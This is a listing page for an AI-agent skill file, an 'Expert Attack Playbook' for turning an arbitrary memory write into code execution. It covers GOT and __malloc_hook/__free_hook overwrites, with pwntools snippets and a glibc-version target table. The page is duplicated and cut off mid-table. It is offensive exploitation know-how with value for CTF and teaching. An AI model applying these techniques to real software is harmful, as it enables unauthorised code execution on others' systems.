arbitrary-write-to-rce

Name: arbitrary-write-to-rce
Author: ShulkwiSEC

18stars5forks

How to install arbitrary-write-to-rce?

shulkwisec/bb-huge/arbitrary-write-to-rce

$npx -y skills add ShulkwiSEC/bb-huge --skill arbitrary-write-to-rce

Installs into the current project.

Summary

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Arbitrary Write to Code Execution — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert techniques for converting an arbitrary write primitive into code execution. Covers every major overwrite target organized by glibc version compatibility: GOT, __malloc_hook, __free_hook, _IO_FILE vtable, __exit_funcs, TLS_dtor_list, _dl_fini, modprobe_path, .fini_array, C++ vtable, and setcontext gadget. This is the "last mile" skill. Base models often target hooks that no longer exist (post-glibc 2.34) or miss pointer mangling requirements.
4
5	## 0. RELATED ROUTING
6
7	- [heap-exploitation](../heap-exploitation/SKILL.md) — obtaining the arbitrary write via heap attacks
8	- [format-string-exploitation](../format-string-exploitation/SKILL.md) — obtaining the arbitrary write via %n
9	- [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — stack-based write primitives
10	- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — which targets are available given protection configuration
11	- [heap-exploitation IO_FILE_EXPLOITATION.md](../heap-exploitation/IO_FILE_EXPLOITATION.md) — deep _IO_FILE structure exploitation
12
13	---
14
15	## 1. TARGET SELECTION BY GLIBC VERSION
16
17	\| Target \| glibc < 2.24 \| 2.24–2.33 \| ≥ 2.34 \| Required Knowledge \|
18	\|---\|---\|---\|---\|---\|
19	\| GOT overwrite \| OK (Partial RELRO) \| OK (Partial RELRO) \| OK (Partial RELRO) \| Binary base \|
20	\| `__malloc_hook` \| OK \| OK \| Removed \| libc base \|
21	\| `__free_hook` \| OK \| OK \| Removed \| libc base \|
22	\| `__realloc_hook` \| OK \| OK \| Removed \| libc base \|
23	\| `_IO_FILE` vtable (direct) \| OK \| Vtable range check \| Vtable range check \| libc base + heap \|
24	\| `_IO_FILE` via `_IO_str_jumps` \| N/A \| OK (2.24–2.27) \| Patched \| libc base + heap \|
25	\| `_IO_FILE` via `_IO_wfile_jumps` \| N/A \| OK (≥ 2.28) \| OK \| libc base + heap \|
26	\| `__exit_funcs` \| OK \| OK \| OK \| libc base + pointer guard \|
27	\| `TLS_dtor_list` \| N/A \| N/A \| OK \| TLS addr + pointer guard \|
28	\| `_dl_fini` / link_map \| OK \| OK \| OK \| ld.so base \|
29	\| `modprobe_path` (kernel) \| OK \| OK \| OK \| Kernel base \|
30	\| `.fini_array` \| OK \| OK \| OK \| Binary base (if writable) \|
31	\| C++ vtable \| OK \| OK \| OK \| Object address + heap \|
32	\| `setcontext` gadget \| OK \| OK (changed in 2.29) \| OK \| libc base \|
33	\| Stack return address \| Always \| Always \| Always \| Stack address \|
34
35	---
36
37	## 2. GOT OVERWRITE
38
39	Replace a function pointer in the Global Offset Table.
40
41	### Requirements
42	- Partial RELRO (`.got.plt` writable) — Full RELRO blocks this entirely
43
44	### Common Targets
45
46	\| Overwrite From \| Overwrite To \| Trigger \|
47	\|---\|---\|---\|
48	\| `printf@GOT` \| `system` \| Next `printf(user_input)` with input = `/bin/sh` \|
49	\| `free@GOT` \| `system` \| Next `free(ptr)` where ptr points to `"/bin/sh"` \|
50	\| `strlen@GOT` \| `system` \| Next `strlen(user_input)` \|
51	\| `atoi@GOT` \| `system` \| Next `atoi(user_input)` with input = `"sh"` \|
52	\| `puts@GOT` \| `system` \| Next `puts(user_input)` \|
53	\| `exit@GOT` \| `main` or gadget \| Create loop for multi-shot exploit \|
54	\| `__stack_chk_fail@GOT` \| `ret` gadget \| Neutralize canary check \|
55
56	```python
57	# Format string GOT overwrite
58	from pwn import fmtstr_payload
59	payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']})
60
61	# Heap-based GOT overwrite (tcache poisoning)
62	# Allocate chunk at GOT address → write system address
63	```
64
65	---
66
67	## 3. __malloc_hook / __free_hook (glibc < 2.34)
68
69	### __malloc_hook
70
71	```python
72	# Overwrite __malloc_hook with one_gadget address
73	# Triggered by any malloc call (including internal malloc in printf with large format)
74	write(libc.sym['__malloc_hook'], one_gadget_addr)
75	# Trigger:
76	io.sendline('%100000c') # printf calls malloc internally for large format
77	```
78
79	### __free_hook
80
81	```python
82	# Overwrite __free_hook with system
83	write(libc.sym['__free_hook'], libc.sym['system'])
84	# Trigger: free a chunk containing "/bin/sh"
85	chunk_data = b'/bin/sh\x00'
86	# ... allocate chunk with this data, then free it
87	```
88
89	### Realloc Trick for one_gadget Constraints
90
91	```python
92	# one_gadget often requires specific register/stack state
93	# realloc pushes registers and adjusts stack before calling __realloc_hook
94	# Set __malloc_hook = realloc+N (skip some pushes to adjust stack alignment)
95	# Set __realloc_hook = one_gadget
96	write(libc.sym['__realloc_hook'], one_gadget)
97	write(libc.sym['__malloc_hook'], libc.sym['realloc'] + 2) # +2, +4, +6 etc. to adjust
98	```
99
100	---
101
102	## 4. _IO_FILE VTABLE
103
104	See [IO_FILE_EXPLOITATION.md](../heap-exploitation/IO_FILE_EXPLOITATION.md) for full details.
105
106	### Quick Summary by Version
107
108	\| glibc \| Method \| Vtable Target \|
109	\|---\|---\|---\|
110	\| < 2.24 \| Direct vtable overwrite \| Point vtable to fake table with `system` at `__overflow` offset \|
111	\| 2.24–2.27 \| `_IO_str_jumps` \|

People who liked this also viewed

6 picks

Type

arbitrary-write-to-rce

18stars5forks

View on GitHub

How to install arbitrary-write-to-rce?

shulkwisec/bb-huge/arbitrary-write-to-rce

$npx -y skills add ShulkwiSEC/bb-huge --skill arbitrary-write-to-rce

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Arbitrary Write to Code Execution — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert techniques for converting an arbitrary write primitive into code execution. Covers every major overwrite target organized by glibc version compatibility: GOT, __malloc_hook, __free_hook, _IO_FILE vtable, __exit_funcs, TLS_dtor_list, _dl_fini, modprobe_path, .fini_array, C++ vtable, and setcontext gadget. This is the "last mile" skill. Base models often target hooks that no longer exist (post-glibc 2.34) or miss pointer mangling requirements.
4
5	## 0. RELATED ROUTING
6
7	- [heap-exploitation](../heap-exploitation/SKILL.md) — obtaining the arbitrary write via heap attacks
8	- [format-string-exploitation](../format-string-exploitation/SKILL.md) — obtaining the arbitrary write via %n
9	- [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — stack-based write primitives
10	- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — which targets are available given protection configuration
11	- [heap-exploitation IO_FILE_EXPLOITATION.md](../heap-exploitation/IO_FILE_EXPLOITATION.md) — deep _IO_FILE structure exploitation
12
13	---
14
15	## 1. TARGET SELECTION BY GLIBC VERSION
16
17	\| Target \| glibc < 2.24 \| 2.24–2.33 \| ≥ 2.34 \| Required Knowledge \|
18	\|---\|---\|---\|---\|---\|
19	\| GOT overwrite \| OK (Partial RELRO) \| OK (Partial RELRO) \| OK (Partial RELRO) \| Binary base \|
20	\| `__malloc_hook` \| OK \| OK \| Removed \| libc base \|
21	\| `__free_hook` \| OK \| OK \| Removed \| libc base \|
22	\| `__realloc_hook` \| OK \| OK \| Removed \| libc base \|
23	\| `_IO_FILE` vtable (direct) \| OK \| Vtable range check \| Vtable range check \| libc base + heap \|
24	\| `_IO_FILE` via `_IO_str_jumps` \| N/A \| OK (2.24–2.27) \| Patched \| libc base + heap \|
25	\| `_IO_FILE` via `_IO_wfile_jumps` \| N/A \| OK (≥ 2.28) \| OK \| libc base + heap \|
26	\| `__exit_funcs` \| OK \| OK \| OK \| libc base + pointer guard \|
27	\| `TLS_dtor_list` \| N/A \| N/A \| OK \| TLS addr + pointer guard \|
28	\| `_dl_fini` / link_map \| OK \| OK \| OK \| ld.so base \|
29	\| `modprobe_path` (kernel) \| OK \| OK \| OK \| Kernel base \|
30	\| `.fini_array` \| OK \| OK \| OK \| Binary base (if writable) \|
31	\| C++ vtable \| OK \| OK \| OK \| Object address + heap \|
32	\| `setcontext` gadget \| OK \| OK (changed in 2.29) \| OK \| libc base \|
33	\| Stack return address \| Always \| Always \| Always \| Stack address \|
34
35	---
36
37	## 2. GOT OVERWRITE
38
39	Replace a function pointer in the Global Offset Table.
40
41	### Requirements
42	- Partial RELRO (`.got.plt` writable) — Full RELRO blocks this entirely
43
44	### Common Targets
45
46	\| Overwrite From \| Overwrite To \| Trigger \|
47	\|---\|---\|---\|
48	\| `printf@GOT` \| `system` \| Next `printf(user_input)` with input = `/bin/sh` \|
49	\| `free@GOT` \| `system` \| Next `free(ptr)` where ptr points to `"/bin/sh"` \|
50	\| `strlen@GOT` \| `system` \| Next `strlen(user_input)` \|
51	\| `atoi@GOT` \| `system` \| Next `atoi(user_input)` with input = `"sh"` \|
52	\| `puts@GOT` \| `system` \| Next `puts(user_input)` \|
53	\| `exit@GOT` \| `main` or gadget \| Create loop for multi-shot exploit \|
54	\| `__stack_chk_fail@GOT` \| `ret` gadget \| Neutralize canary check \|
55
56	```python
57	# Format string GOT overwrite
58	from pwn import fmtstr_payload
59	payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']})
60
61	# Heap-based GOT overwrite (tcache poisoning)
62	# Allocate chunk at GOT address → write system address
63	```
64
65	---
66
67	## 3. __malloc_hook / __free_hook (glibc < 2.34)
68
69	### __malloc_hook
70
71	```python
72	# Overwrite __malloc_hook with one_gadget address
73	# Triggered by any malloc call (including internal malloc in printf with large format)
74	write(libc.sym['__malloc_hook'], one_gadget_addr)
75	# Trigger:
76	io.sendline('%100000c') # printf calls malloc internally for large format
77	```
78
79	### __free_hook
80
81	```python
82	# Overwrite __free_hook with system
83	write(libc.sym['__free_hook'], libc.sym['system'])
84	# Trigger: free a chunk containing "/bin/sh"
85	chunk_data = b'/bin/sh\x00'
86	# ... allocate chunk with this data, then free it
87	```
88
89	### Realloc Trick for one_gadget Constraints
90
91	```python
92	# one_gadget often requires specific register/stack state
93	# realloc pushes registers and adjusts stack before calling __realloc_hook
94	# Set __malloc_hook = realloc+N (skip some pushes to adjust stack alignment)
95	# Set __realloc_hook = one_gadget
96	write(libc.sym['__realloc_hook'], one_gadget)
97	write(libc.sym['__malloc_hook'], libc.sym['realloc'] + 2) # +2, +4, +6 etc. to adjust
98	```
99
100	---
101
102	## 4. _IO_FILE VTABLE
103
104	See [IO_FILE_EXPLOITATION.md](../heap-exploitation/IO_FILE_EXPLOITATION.md) for full details.
105
106	### Quick Summary by Version
107
108	\| glibc \| Method \| Vtable Target \|
109	\|---\|---\|---\|
110	\| < 2.24 \| Direct vtable overwrite \| Point vtable to fake table with `system` at `__overflow` offset \|
111	\| 2.24–2.27 \| `_IO_str_jumps` \|

People who liked this also viewed

6 picks

Type